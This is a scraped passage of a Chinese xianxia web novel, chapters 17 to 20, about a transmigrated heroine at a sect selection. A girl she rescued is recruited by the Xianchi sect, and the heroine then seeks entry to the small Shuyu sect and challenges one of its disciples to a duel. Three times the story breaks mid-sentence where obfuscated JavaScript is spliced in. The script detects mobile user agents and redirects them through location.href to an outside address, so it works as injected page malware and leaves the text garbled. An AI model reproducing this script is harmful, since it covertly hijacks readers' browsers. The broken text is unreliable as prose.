看摊的咸池弟子倒很好亲近,她嘴边叼着根草叶,四处吆喝着招人来下注,见楚刀好奇看过来,还热情邀她看上一场。 楚刀被她吓了一跳,忙摆摆手表示自己正排着队,拒绝了。但她眉眼也放松不少,一直抿着的唇再紧不住,唇角微微上挑了些。 温泠淼眉头微挑,还以为他们同晞月一样性子。没曾想到底是上三宗最入世的一个,驻地虽闹腾,气氛却很是讨喜。 在书中,咸池是上三下九里唯一的丹宗,有着万山支脉唯一的九阶丹师,三长老承雪尊者。 与崇尚仙凡有别,热衷把宗门藏到山里天上的仙宗们不同。咸池依城而建,坐落扶桑镇旁。它名气在外,求丹修士们自然络绎不绝,而在等待丹成途中,不少人便往镇里落了脚,久而久之,扶桑小镇便也聚了十数万人口,几乎要赶上第九城。 她还隐隐记得,咸池不仅仅是丹宗这么简单。它气度开放,三教九流之士汇聚其中。与渊山相反,在这,旁门左道就是正道,什么阵法、丹药、符篆乃至风水都能蓬勃发展,修刀、修枪、修伞甚至修扇子的都有,只有世间不存在的,就没咸池弟子不修的。 修仙界常有一俗语,宁对渊山,不打咸池。说的就是修士们平日最惧对上咸池弟子,因为永远无法猜到他们身上挂着的哪个物件才是武器。曾有一笑话说,有人跟咸池弟子正比着剑,打到一半,对方把剑穗一抽,直取他破绽。原来,那弟子是修剑穗的。 更甚的是,就连神秘难测的命修,都被传有一脉栖居其中。这似乎也是咸池颇好风水一道的原因。 总的来说,咸池是仙宗中相当出格的一个。百年前的宗门大选上,谁也没想到它能力压下九,战平晞月,惜败渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在此时,身旁的人群轰动起来,个个伸长了脖子往晞月驻地看去。温泠淼抬头,却见那白玉楼阁顶端忽然升起一五彩祥云,祥云蠕动着膨大,变作同楼阁般大小,最终其余四色褪去,只剩了璀璨的金色,刺眼得紧,夺去了皓月台上所有人的目光。 异象一出,温泠淼身后一牵着女儿的青年男子便失声叫道:“极品灵根,是极品金灵根!” 顷刻间,气氛就如巨石入水,炸出惊涛骇浪。无论参选者还是凑热闹的凡人都惊叫连连。 “二十年了,第三城终于又有极品灵根出世了。”一中年妇人谓叹,眼中含泪。 “我还以为极品灵根只是个传说呢。” 自然,也有好事者疑惑不解,“这极品灵根怎么不去渊山,他来晞月作甚?” “你以为人家不想去?”旁人白了他一眼,“是渊山不要人家,我听排在他身边的阿姐说,他过不了试剑石,连灵根都来不及测就被赶了出去。” “渊山这下肠子都要悔青了吧。” “说什么呢,那可是渊山,稀罕这一个极品灵根吗?”这声音不知为何有些酸溜溜的。 温泠淼盯着祥云,神色未变,脑中却是在想另一件事。她可不认为测个灵根就能引发什么天地异象,按身旁人的反应,这应是晞月的惯例了,他们行事真是乖张得很,该不会是在和渊山较劲?而他们说的试剑石,又是何物? 没过多久,第二块巨石投下,身侧人群又是一阵欢呼,温泠淼和楚刀二人随旁人目光望去,却看到那先前见过的小少爷正被九个晞月弟子拥簇着走出,他们所到之处,人群皆是恭敬地分开一条道。而空中的金色祥云见了他,就如认了主一般,从天上降了下来,绕着他连连舞动,好不快活! 万众瞩目的小少爷这下把下巴抬到了天上去,脸故作高深地板起,却怎么也压不住唇角那一抹得意。 18. 祝昭 灵根,具体些说,便是修士沟通天地灵气的能力,只有身具灵根者才可修炼,凡人中有灵根的,不及千分之一。而灵根又可细分为下,中,上,极品几类。就算在稀少的修士之中,天赋之高,能到极品灵根这一层级的,不过万分之一。 在修仙界,人一生的道路,基本被有无灵根,及灵根等级给划定了,下品灵根者如王麻子,辛苦修炼到中年也不过练气五层。但身负极品灵根者,自七岁觉醒灵根开始,修炼便可一日千里,在二十岁前功至筑基也并非难事。 纵然是在晞月这样的大宗门里,极品灵根都颇为稀缺。小少爷这下内门弟子之位该是稳了,若他运势再好些,百年后未必不会成为宗门长老,一方泰斗。 当然这是建立在晞月不会倒得太快的前提下。 温泠淼收回目光,手在楚刀头上按了按,本意是想安抚一二,却把她本就毛躁的发揉得更乱。 她现在见到小少爷那副小人得志样子,气得眉毛都快竖了起来。 极品灵根又如何,我也不差。到时谁强谁弱还不一定。楚刀冷哼一声,拨开温泠淼的手,不再看向那边。 咸池弟子却是这场轰动中最悠然自得的一方,他们像什么都没发生,或极品灵根压根入不了眼一样,还是该吆喝的吆喝,爱答不理的继续翘着二郎腿闭目养神。似乎唯一值得担心的是旁人都涌过去瞧极品灵根了,害得生意惨淡了几分。 温泠淼被楚刀赶走,也不恼怒,她俯下身去,随意掂起身边摊子上一铜镜模样的法器,在手中端详着,目光却有意无意地往那心无旁骛摆弄着什么的弟子身上看去,笑盈盈地开口问道:“打扰这位姐姐了,可否斗胆一问,极品灵根出世,晞月那边都乐翻了天,咸池似乎却不怎么在意?莫非已有了更好的人选?” “人选?我看你就挺合适的。”那咸池弟子将袖口束起,手拿一精致的小锤,正盘腿仔细敲打着摆在檀木台上的一块精金。 闻言,她飞速抬头扫温泠淼一眼,目光停不过一息,似是觉得无趣,又低下头去继续手中的活,漫不经心地答,“我咸池和渊山一样,先看合适与否,再测灵根如何。讲究的正是一个缘字。愿入咸池的,能进咸池的,来来回回便是这么些人。他若与我们无缘,那便无需在意。” 温泠淼将手中铜镜放下,笑意不减,目光却陡然认真起来,她继续追问道,“姐姐可否再为我解惑,我见渊山靠一块奇怪的石头,把所有人都拦了出去。咸池又是依什么判断合适与否呢?而姐姐您为何又觉得我合适呢?” “眼缘。”咸池弟子见她无意购买,这次头都不抬,只在台上叮叮咚咚地敲着,不再看她一眼。“渊山以试剑石问剑心曲直,我咸池靠照雪灯断命数远近,客官您到时测了便知。您若想了解多些,不必流连羽某的小摊,进言刀里买些消息更快。” “多谢。”温泠淼听出她话中赶客之意,便不再纠缠,起身顺势告辞。言刀里情报自然是有,但公共消息到了上三宗这块,则是一个赛一个的讳莫如深,除却时间地点外,半句话都舍不得多说,不像小宗门各个写得规矩又诚恳。 温泠淼无意其他宗门,自然不愿多花冤枉钱。她也问过楚刀,却得到小家伙“知道又如何,该过就过,过不了的还是过不了。”的回答,便不再提起。 剑心,不知道是何感觉。温泠淼回忆起前世,自己连游戏里的近战招数都使得不是很顺溜,心中微微摇头,无论什么感觉,看来是与她无缘了。 没办法,谁让她这个玻璃大炮阴暗法师爱好者穿到的是个修仙世界,真羡慕隔壁西幻片场。 至于命数这类一点都不唯物主义的东西,温泠淼更是毫无头绪。 队伍前进极快,不一会,二人便排到了头,她们前一位的男孩先进了测试所在的尖顶帐篷中。温泠淼有意竖起耳朵听些什么,帐篷却是一片安静,丁点声音都没漏出来。 楚刀盯着面前紧闭的门帘,小小的手缓缓攥紧,这时,她才发现手上已覆满一层细密的汗,触感黏腻又恶心。 她本以为紧张一词与自己无缘,毕竟她灵根觉醒不过一年,就在没有师承的情况下晋升练气二层,还激活了天赋血脉。这样的她,无论在哪都该是同龄人中的佼佼者。 但那场死里逃生告诉她,这个世界的残酷和危险可不会按天赋发生,她如今也不过是一株幼草,谁都能折断;而各宗的神通更是让她惊觉,好像进入上三宗这件一直被她看作顺理成章的事,也并没那么简单。 自然,最重要的是,那混蛋竟然是极品灵根,她无法接受连那不知感恩的小少爷都比不过。 我一定要进入咸池,我要变得更强,楚刀阖上双眼,攥拳的手微微发抖,她忽然发现,她心中竟在软弱地祈祷前面那名男孩能出来得慢一些。 这时,她肩上又落了熟悉的冰冷触感,这次,那只手却是温柔地将她向前推。 她睁开眼一看,才发现排她身前的男孩已踉跄着跑出帐门,一边用袖子把鼻涕眼泪抹成一团,一边扑进焦急等侯在旁的母亲怀中。 那特意穿了红衣裳的中年妇人见他模样,目光中虽有失望,却被她妥帖收好,伸手环住男孩,笑着蹲下来,贴在他耳边,轻声细语地安慰些什么。 帐篷门帘已被看门弟子拉开,正等待下一位参选者进入。楚刀再看身后的温泠淼一眼,把心中的不舍和忐忑擦拭干净,昂首挺胸地走了进去。 没曾想,在楚刀进去后,看门弟子却迟迟不将门帘放下,他看着温泠淼,做了个“请”的手势:“里面的大人传话了,还请您也一起。” 咸池这又是何意?温泠淼目光沉了又沉,这个宗门从她踏入驻地的那一刻起,就在抛出奇怪的橄榄枝,若说其他是弟子为招生意随口胡诌,此刻却绝不可能是在开玩笑。 她可不会天真地以为自己是什么绝世天才。不知他们看中她的什么,是她身为异界之魂的秘密,还是喝水都能涨修为的功法? 无论如何,她都不想在此时与上三宗碰上,躲,有百利而无一害。 她脚步微错,刚想后退,却惊悚地发现自己如坠星云之中,四肢被细密的红白两线绑缚着,动弹不得。丝线另一端,是此岸彼岸,过去未来。 她几乎要被泼天的恐惧吞没,这种恐惧,并非是就要命丧黄泉的濒死预感,而是一生命运被人握在手中,无从逃脱的绝望。 温泠淼全身汗毛倒竖,刚欲垂死挣扎,下一瞬,她倏然回神,却发现自己仍站在原地,咸池弟子还在等候她的答复,面上挂着礼貌的笑容。 似乎,只剩眼前这一条路可走了。温泠淼深吸一口气,唇角扯出惯用的灿烂笑容,谢过咸池弟子,缓步走入帐中,心下却仔细观察四周,计划着逃跑的机会。 “凌小友不必紧张,老朽不过好奇罢了,没有恶意。”就在温泠淼手按剑上,暗中往右臂汇去灵力时,一道温和又细弱的传音灌入她耳中,不带一丝灵力,却轻易将她刚聚拢的灵力湍流震散了。 温泠淼唇角笑意不改,目光又凝重三分,她略过楚刀,向帐内深处看去,只见一藏在阴影中的老妪,紫裙罗衣,其上缀有繁杂神秘的晶石,金银双线穿梭,将裙摆织做星天舆图一片。 她身形极为佝偻,声线又如孩童般甜腻。 凌?也就是说,她不知自己姓温,故以原身的名号称呼。温泠淼心中一动,这倒是个好消息。 “老朽姓祝名昭,不过,这不重要。”老妪不再理温泠淼,她转向楚刀,右手微抬,指向帐中央的晶簇,淡淡道,“欲入咸池者,先测灵根,手放于其上三息即可。” 祝昭?温泠淼思索着,不巧,她对这个名字没半点印象。 那边的楚刀虽对温泠淼也入了帐中有些诧异,却在看到她笑容下的凝重后知事有蹊跷。 她找不到询问情况的机会,只能先遵照老妪的话,试探着抚摸帐中与她同高的晶簇。 楚刀一将手贴上,那透明的晶簇便瞬间充盈了纯粹的橘红,仿佛一簇勃发的火焰,生动,明亮又炙热。 它发的光将三人侧脸照透,让人忽觉宛若围坐在了暗夜中一堆篝火边上,甚至能听见火星碎裂的毕剥声。 楚刀被这景象吓了一跳,条件反射地抽回手。只是,她手刚移开的一瞬间,这异象便消失不见,晶簇变回了寻常的透明,好似什么都没发生过。 “极品火灵根,过了。”老妪只看一眼,便面无表情地吐出几字,她手一招,一枚模样古朴端正的令牌便落楚刀面前,“接咸池令。” 这就是极品火灵根,她随手捡的一个孩子竟然都有极品灵根?温泠淼眼微微睁大,她一瞬忽然有了极品灵根这东西跟路边大白菜一样常见的错觉。 但她随即感觉到了一丝不对劲,两个身具极品灵根的孩子,竟然都险些遭琉璃楼的毒手,这究竟是巧合,还是? 熟悉的疑云密布之感又涌上心头,温泠淼先将思绪压下,往好处想,不知她此举是否算改变了原著的走向,若无意中能让人类多两位战力,也算一桩美事。 况且咸池的行事风格她还算喜欢,老妪在说完那句话后,便合眼养神,并无特殊对待。若换那个少爷在此,怕是能气得跳起来。但温泠淼知道,此举一是意在让天赋绝佳者,也能持一颗平常心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413794|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二来也是为保护弟子。晞月排场虽大,却是将一个小小的孩子推到四面八方的目光下,这些目光,可并非都是善意。 就是不知小家伙会如何想,她再看眼楚刀,发现小姑娘脸上只有如释重负之色,并无骄矜和不平。 楚刀定了定神,取下咸池令,不卑不亢道:“谢前辈认可。只是我先前听说,欲加入咸池,还需通过照雪灯的考验,前辈这是?” 温泠淼从咸池弟子那得的消息,她自然也知晓。 老妪闻言睁眼,一瞬间,温泠淼窥见了她眼中跃动的蓝色火焰。 她再阖下眼皮,将燎原火光隔绝在了一层薄薄的血肉下,无悲无喜道,“我的眼,即是照雪灯。” 二人皆是一惊,心中所想却不尽相同,楚刀在为无意中通过了考验而庆幸。温泠淼却是在想,咸池必不可能只在第三城选弟子,这么说来,每一城都有一盏照雪灯,都会出现这位神秘老者? 或者,这不过是她的一缕分身罢了, “你呢?”老妪再睁眼,眼仁却是恢复一片浑浊,像死了几日的鱼。 温泠淼被这双眼睛看得心中不安,迟疑片刻,最终还是将所想坦诚托出:“抱歉,我不过一介散修,天赋残缺,资质愚笨,无意于咸池,还请祝老勿怪。” 老妪的目光在她身上深深地停驻了一息,“好。” 竟然答应了,这么简单?好像真的同最开始所说一样,老妪费好些功夫,只为好奇看她一眼?温泠淼没想到出路来得如此轻易,有些愕然,但她迅速收拾好思绪,转身就走,管她是为了什么,先跑再说。 这时,袖口传来细微的牵扯之感,温泠淼回头看去,就见那不知二人交锋的女孩犹豫着伸手捏住她衣角,想要说点什么,喉咙动了几下,却怎么都出不了口。 果然还是个小孩子啊,温泠淼见老妪继续闭目养神,好似真的不再看她,便轻轻蹲下,手抚过楚刀的小脑袋。 这次,她没有再被女孩拨开。 先前是恐惧占了主导,直到现在,紧张渐消,温泠淼才想起来,好像是要同这一副老气横秋模样的小孩告别了。 只是似乎她前几日说得已经够多,到分别的时候,她一时竟想不出还能再讲些什么,最后只笑了笑,道:“交易结束了,楚刀,好好修炼,有缘再会。” 楚刀还是紧紧攥着她的衣角不放,像鼓起了极大的勇气般,睁着溜圆的眼,怯生生开了口,“温君姐姐。” “我可以,做你的朋友吗?” 温泠淼笑容滞了滞。 朋友,吗?她不知道,平心而论,这小孩虽然牙尖嘴利,自那日酒后便像不怕她了一样,没少跟她斗嘴,奇怪的是,她并不讨厌。 但楚刀说到底,只是书中的一个角色,生平命运,喜怒哀乐,不过是作者随手一笔留下的墨痕。甚至,书中是否有过,她都不记得了。 而她的目标是回家,在下定回去的决心那一刻起,她就做好将这此地一切当一场荒唐梦看待的打算,正因如此,她才能持剑斩退所有拦路之人,毫无犹豫。她也从未期盼过与任何书中人有情感上的连结,就连谢星君都不例外。无论如何,她们都不会是同路人。 她从不属于这里。 若只是萍水相逢的路人便罢,她大可编一百个亲昵句子,方便未来抱极品火灵根天才的大腿。 但偏偏问这句话的是楚刀,不知为何,温泠淼不愿在这一刻,用她最擅长的谎言,去骗过一颗诚实又敏感的心。 最终,温泠淼很轻很轻地说了一声,“我不知道。” 得到了不知该说是意料之中还是之外的答案,楚刀眼中期盼未消,心头就犯上一阵酸涩。泪瞬间溢满眼眶,从两颊边划下,她有些不知所措,拿温泠淼的袖子擦了擦。 本以为袖子主人会生气,毕竟前脚刚说出那样无情的话来,她有些不敢抬头。温泠淼却是执着又恳切地弯了弯身子,从下面望进她耷拉的眼,有些笨拙地哄着她说,“别哭别哭,等我们下次见面,姐姐再告诉你,好不好?” “嗯!”楚刀重重地点头,破涕为笑,“一言为定,到时,我要成为特别特别厉害的人,让你刮目相看!” 温泠淼也笑了,她站起身,向楚刀挥挥手,干脆利落地离去,融化入帐门外的光中。 她没有看到楚刀极为不舍的神情,和将一切收入眼里的老妪面上一缕浅淡笑意。 下一秒,老妪的身躯化作一簇蓝火,在所有人都没注意到的一瞬,闪入楚刀眉心,留下一道幽蓝印记。印记极淡,旁人若不使出十分精神细看,便无法从她额前的乱发中分辨出来。 19. 漱玉 出了咸池驻地,温泠淼鬼使神差地脚下一拐,绕回了熟悉的地方。 尽管引起轰动的小少爷已回了晞月楼中,但人们对极品灵根出世的热情还未散去,仍意犹未尽地将白玉楼阁团团围住。两厢对比之下,紧挨着的渊山竟显得冷清了起来,许是在上午有意参选者就被拒了个一干二净的缘故,此时驻地中人影寥寥,弟子们也清闲不少。 温泠淼混在围观晞月的人群中,忽然,她从周遭兴奋的吵嚷里,捕捉到了一缕细微的争吵声,再仔细一辨,竟是从渊山那边来的。她一下子来了兴致,将脸再往兜帽深处藏进些许,有意往那方靠去。 “白师兄,林师姐,你们怎么看晞月先前的话。我们分明做的是好事,他们怎这样想?若不是旁边有人看着,我早就一剑过去了。”声音出自最小的弟子,年约十五六,正是年轻气盛,手上的活刚闲下来,便按捺不住气。 “方静师弟,莫要心浮气躁。”年轻女修声音沉稳,安抚劝告道,“晞月那些杂役特意走到我们面上说这些,安知放了什么心思?若真动手,一是折渊山气度,二来也怕落了他们陷阱。” 温泠淼微微点头,她也觉晞月二人行事太过刻意乖张,怕不是就冲着刻意恶心渊山来的。看来上三宗的明争暗斗,特别是在这第一第二之间的,从未停歇过。 “其实我也不赞同严夫子的处理,”另一道陌生男声加入,听起来年长一些,看来便是白师兄了,“渊山本就过刚易折,树敌众多,不知一举一动都有多少只眼睛在盯着,何必掺合凡间这点小事,空给人落下话柄,还捞不着什么好处。” “小事?琉璃楼在第三城外作威作福六十年,拐走数万童男童女供人享用,他们大多数活不过十五,便被抛尸荒野,这还能算作小事吗?何况他们私藏魔修,罪加一等。魔修狡诈,此次现世不知又在酝酿什么阴谋,千里之堤,溃于蚁穴,文长老的话,白师兄怎能转眼就忘了。”女修极为不赞同的声音响起。 “是是是,大义如此,渊山身正,该管。可身正除了带来了一个又一个的麻烦外,还有什么好处?”白师兄像被戳了痛处般,声音都大了些,“这世间恶事,如野草烧不尽,渊山亦管不完。琉璃楼作恶多年,若不是魔修一事捅到了明面上,师姐你也从未知晓。谁知道第二城,第四城,没有更多的琉璃楼呢?” “再说,费心管这些凡人的事,当渊山有难时,凡人又能帮我们什么?还有魔修,晞月不管,凭什么让我们出头,宗主早就看文长老不顺眼很久了,要不是他……” 忽然,三人声音停下,温泠淼诧异地看去,就见他们身形皆是一僵,似是接到什么传音,神色恭敬地聆听起来。 待传音结束,白师兄和林师姐谁也不服谁地互相瞪视几秒,终究还是不再继续先前的话题。 在所有人都没注意到的争吵被压下后,温泠淼沉默地退出人群,向漱玉方向走去。身侧擦过的人们论着上三宗风采,她听着,忽然一笑。 果然,没有什么东西是永久的。就连渊山内部,都产生了无法弥合的裂痕。 只是二宗的话里,都没提到咸池,不知这个最入世的宗门又怀了什么态度。 - 言刀二楼的待客室内,燕昼面上那几乎算得上他标志的笑容消失无影,取而代之的,是一丝无奈。 他指一掸,就将刚沏好的茶给对面不请自来的祖宗推过去。 茶案对面的人,一身劲装,面容平凡,让人过目即忘。但倘若细看,又会觉他气度颇不一般,脊背笔直,眉眼阴郁,显得孤傲又疏离,像一把插在地上的尖刀,带着血腥气。 此人腰间佩着黑白两剑,正是温泠淼在城中几日苦寻不到的玉佩买主。 黑白剑主伸手接过茶盏,微微垂眼,就见了盏中大而老的劣质茶叶。他神色未变,静静尝了一口后便放下,动作优雅如常,不见愠怒。 二人间的茶案正中,悬浮着一张卷轴,其上水墨晕染,将大选场景勾勒得栩栩如生。 燕昼指节一下又一下地扣着桌面,他手边不放茶水,倒是落了只浑圆的麻雀,正歪着头啄食桌上米粒。 他好像看到了什么,忽然饶有兴趣地微微睁眼,“极品灵根?啧,还是两个。让我看看都是哪里来的,一个柳村孤女,一个壑山易氏少爷。有意思,一个二个的,都不爱去渊山。” “不来也好。”黑白剑主淡淡道。“柳村?玉门古地附近?” “正是。”燕昼微微一笑,答。 黑白剑主眼中划过一丝暗芒,“没想到寅夜侯的最后一支竟然被保住了,还以为我晚了一步。” 随后,他看向燕昼,话语中略带郑重,“你知道该如何对待。” “自然,阴差阳错间,结果还挺好。”燕昼看着那只没被再碰一次的茶盏,面露可惜之色。“唯一的遗憾是,最想要的人,竟然看不上我们。” 黑白剑主不置可否,只沉默地看着卷轴上的光景。 房中再度归于寂静,就剩下燕昼指节叩在石案上的声音。过了一会,燕昼觉得这寂静让他浑身难受,只得没话找话,挤出一句:“你不去看看?这两个极品灵根,正是她救的。” 良久,黑白剑主轻轻答道。 “没有必要,现在就很好。” - 又在下九等宗门处逛了一个时辰,等温泠淼终于在最外围挤作一团的宗门旗帜中望见漱玉二字时,时间已是下午。 漱玉驻地极为狭窄,约为咸池的二十分之一,只放了一杆旗子,一块测灵根的晶簇。其中站着位穿绀青衣裳的女弟子,手脚轻巧,眉眼活泼,看着约莫十六七岁。温泠淼眼睛一扫,便探出她修为在练气三层。 毕竟是小宗门,弟子水平和上三宗相比自然是不够看。 弟子身后站了五个神色欣喜的娃娃,应是过了考核的。他们灵力波动微弱,与楚刀对比鲜明,灵根等级似乎都不高。 也许是这宗门实在太不起眼,她到时,连排队测灵根的人都没有。漱玉弟子闲得不知从哪个口袋里摸出本小人书在看。 温泠淼站在远处,先观望了一会,迟迟不敢迈出脚步,心中竟有些久违的紧张,仿佛重回高考前夜。 不止,这得是考研复试,还带自选学校的。她深吸一口气,怕什么,她喝水就能修炼,练气期不说一日千里,至少十天修为能上一层,随手在路上捡的两个娃娃还都是极品灵根,再怎么说,也算有点天资吧。 要求不高,上品灵根就行。 温泠淼摘了兜帽,自信满满地走到漱玉弟子面前。 少女听见动静,收了闲书,抬眼就见一位比自己还要高上半个头的瘦弱女子停在身侧。她有些难以置信,回头看了几眼那五个和女子一比就像是小鸡仔的娃娃,再转头把温泠淼上下打量了一圈,微微张嘴,惊讶问道:“你,你也是来参选的?” 这是吃了什么,十岁长这么高,开玩笑吧。 “自然。”温泠淼笑得天真,眉眼弯弯,一副单纯模样,仿若在第三城庇护下顺遂长大的凡人少女,见大选上各式仙人神通,便也想来凑个热闹。 她没有刻意放出灵力波动,漱玉弟子修为稍低,故而看不出异样,只能半信半疑道,“先测个骨龄吧,手伸出来即可。” 温泠淼大大方方地把手递到漱玉弟子面前,少女熟练地将她的袖口撩至肘上,两指在苍白的腕上一捏,眉头便皱了起来。“姑娘,不是我说,你都已经十九岁了,早过了参选年龄。” “你对漱玉的认可我们心领了,只是规定如此,姑娘还是另择他家吧。” “可是,你们给言刀的消息写了,年龄稍大的只需通过另外的测试就行,”温泠淼早料到还有这关,唇角一压,灿烂笑意被转瞬收起。她佯作失望地抽回手,眼角撇下,话中带了三分委屈,“我当时看到消息,心下开心得很,连夜赶了一千二百里路,就为来试试,怎么会…” 少女见她失魂落魄地垂着头,原先期待地望着自己的双眼还闪了些晶莹,心中一紧,语气软下不少,为难道:“姑娘别急,这这这,好像是有这么一条说法。只是现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413795|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师兄和长老都不在,我也做不了主哇。” 她眼睛一转,想到了个办法,忙提议说:“要不,姑娘你先测个灵根,我去给长老传个音,等他回来再做安排,你看如何?” 果然是个善良的孩子,温泠淼见好就收,伸了袖子把眼角好不容易挤出的泪擦去,闷闷应了声,而后学着楚刀的样子,将手放在晶簇上。 一秒,二秒,三秒。 想象中灵力一动,晶簇闪闪发光,灵根惊艳四座的场景并没有出现。晶簇岿然不动,就像一块最普通不过的石头。 不可能吧,我不是修仙跟喝水一样简单吗,这是什么情况?温泠淼脸色一下十分精彩。 她拼命将灵力汇聚手心,甚至想往晶簇中灌去,只是任她怎么动作,晶簇还是一片暗淡。 刚拿出枚模样奇特的玉牌,与在第三城中下馆子的长老传了简讯的漱玉弟子回头见到这一幕,嘴角也微微抽动,开始后悔方才的心软。 原来这人不仅超龄,连灵根都没有。都怪她太年轻,轻易信了他人说辞。 这下好了,长老过会白跑一趟,回去还不得罚她去锻剑阁生半个月的火。 就在弟子欲开口结束这场闹剧,温泠淼脑中飞速计算下一步该如何走时,只有她能见到的系统画面闪动,散出一缕神秘的气息,悄然汇入灵力湍流之中。 气息辅一出现,晶簇就似感知到了什么,缓缓释放出极浅的蓝色光芒。 “灵根,我有灵根!”温泠淼抽回手,虽然还摸不清楚系统做了什么手脚,但总归是帮她一把。她按下心中疑惑,先把戏演到底,欣喜叫道。 “水灵根,很微弱,但是是水灵根。”漱玉弟子紧紧盯住晶簇,她还是第一次见通灵石的表现如此奇怪。一般而言,灵根的情况会在接触的一瞬展示出来,从没有沉寂半分钟之久,才堪堪放出光芒的。 而且。这蓝芒也未免太弱了些,连最低档的下品灵根都不如,简直是残缺灵根啊。 虽说漱玉的条件是有灵根即可,但她超龄太多,要求该严苛些才是,更别提残缺灵根了。但转头见到温泠淼期期艾艾的眼神,漱玉弟子又一下不知该如何是好,十指搅成一团。 这都什么事啊,漱玉弟子想要望天长啸,能做主的人,一个贪嘴,去城里吃吃喝喝不亦乐乎,一个武痴,大选一开,就跑到咸池那看法器了。她这个年纪最小的,斗不过二者,只能被留下来看摊子,看摊子就算了,还碰上了个奇人。 “李师妹,快看我买到的陨星铁,这可是上好的——师妹,你怎么这副表情,发生什么事了?” 就在此时,一道清朗声音传来,漱玉弟子像抓住救命稻草般,忙小跑过去,指着温泠淼控诉。 “池师兄,你终于来了!我跟你说,我碰上了千载一遇的大奇事…” 她倒豆子般将事情全数吐了出来,青年见她神情纠结,知是正事,便把手上举着的一块巴掌大的石头收了,仔细听着,开朗的眉目逐渐转为严肃。 待她交代完毕,青年便将少女留在身后,示意他来处理,而后往温泠淼身上投来探究而审慎的目光。 这么说,按言刀的消息,少女即为李真,而青年则名为池砚了。温泠淼眼一扫,练气五层,好家伙,平级修士。 池砚与她对视一眼,他实力高于李真,自然察觉到了眼前人的不俗之处,如今一探修为,眉心便微微拢起。 这人确实奇怪,而且,她不像李师妹说的那么简单,灵根残缺,实力却不浅。 突然,温泠淼没心没肺地笑起,她三步并作两步上前,对着池砚行了个礼,“敢问池公子年龄几何?” “二十。”池砚被她迫近,不知这个“奇人”又在打什么主意,心中警惕,却还是如实答道。 “巧了,”温泠淼指尖绕着头发,笑嘻嘻地说,“你二十,我十九,我知道你们如此犹豫,定是在心里嫌我灵根普通。” “这样吧,我们打一场,若我胜了,说明我比你漱玉同龄弟子更有能耐,自然有资格入你宗门,如何?” 20. 切磋 池砚和李真都没料到这个“奇人”语出惊人,转眼就下了战书,一时有些愣住。 最惊讶的是李真,池师兄修为在外门虽不算顶尖,却也能排前列。何况他成天埋在洞府里钻研剑招,是宗门中出了名的武痴,在同级弟子间亦鲜有敌手。 反观此人,身上没丁点灵力波动,不过是个灵根残缺的凡人,却敢与池师兄叫板,想借此进入宗门,不知该说是自大还是愚蠢。 她为自己先前的怜悯感到不值,刚要上前喝止,就被池砚伸手拦住。 李真不解抬头,却看到池砚出奇凝重的神色。 “她实力与我一样,练气五层。”池砚低低交代一句,“此事不小,我们做不了主,你先同长老通个信。” 练气五层,比自己还要强上两个小境界,李真面色骤变,怪不得这人敢缠着她一定要测灵根,原来不是天真无知,反倒是她实力太浅,不识泰山了。 她赶忙摸出玉牌,再传了道简讯过去。不一会,李真便神色复杂地说:“长老同意了。” “好。”池砚得了许可,也不多话,对着温泠淼还礼道,“那我便同姑娘切磋一番,此地施展不开手脚,还请姑娘随我到城外来。” 说罢,他身形一动,便跃下皓月台,向西城门奔去,步法轻盈巧妙,如御风而行,穿梭人群之中,速度竟不减一分。 温泠淼自然不肯输阵,双腿灵穴一点,直追而上,不露半点颓势。 见二人眨眼间便跑没了影,李真后知后觉地脚一剁,池师兄这个武痴,听到约架便把什么都抛到脑后了。 她也想去看,奈何摊子总得留人。李真只能苦着脸守在原地,又从储物袋里摸出小人书来。 只是这回,书上的俏男子再也吸引不了她的注意,李真瞪着书,余光却总往二人消失的方向瞟去。 以这位“奇人”的脚下速度,练气五层的实力该是货真价实,可池师兄好歹也是中品灵根,自九岁进了漱玉起,修炼起来不可谓不刻苦,一年三百六十五天,三百六十天都泡在修炼上,这才在十一年里修到练气五层。她一个灵根残缺之人,又是如何做到的?莫非是手握极品功法,生来便在极品灵脉上安了家? 李真越想越抓心挠肝地好奇,不知她和池师兄比,究竟谁能更胜一筹。 平心而论,作为漱玉门人,她当然是更盼着自家师兄赢,可这人能有如此实力,必有异于常人之处,加之看着就没什么心眼,心地应该不坏,要真能成为漱玉弟子,未必不是件好事。 何况通过大选只是第一步,要想正式成为漱玉弟子,未来的关并不少,若她真有什么异心,也过不去。这样一来,暂且收她进宗门,有百利而无一害。 真希望那位切磋起来就脑子被剑夺舍,不管三七二十一的武痴师兄能多想想办法。话怎么说来着,点到即止,见好就收。 就在李真对着小人书神游之际,一位身着红衣的中年妇人牵着个粉雕玉琢的男孩走到面前,见她久不理会,男孩仰着头,小心翼翼地唤了句:“姐姐?” “诶!”李真回过神来,赶忙换上工作状态的亲切笑容,“你是来参选的吗?乖,先测个骨龄,把手伸出来给姐姐看看。” - 一出西城门,寻了处没人的僻静角落,池砚便停下脚步,他自信转头,却见温泠淼已站他身后,还是那副眉眼弯弯,灿烂笑着的模样,面不红气不喘,应是颇有余力。 